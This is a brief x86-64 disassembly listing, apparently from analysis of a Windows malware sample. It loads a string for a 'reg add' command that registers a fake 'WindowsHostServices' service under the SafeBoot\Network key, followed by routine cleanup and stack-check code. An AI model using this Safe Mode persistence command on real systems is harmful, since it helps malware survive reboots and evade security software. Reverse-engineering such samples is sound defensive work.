lea r9, str._c__reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBootNetworkWindowsHostServicess___ve__d__Service___f_
xor ecx, ecx
xor edx, edx
mov r8, rsi
call rdi
mov rax, qword [rsp + 0x68]
cmp rax, 0x10
jb 0x140003fa5
mov rcx, qword [rsp + 0x50]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140003fa0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140003fba
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14002bd70
nop
add rsp, 0x78
pop rdi
pop rsi
ret
call fcn.140038150
int3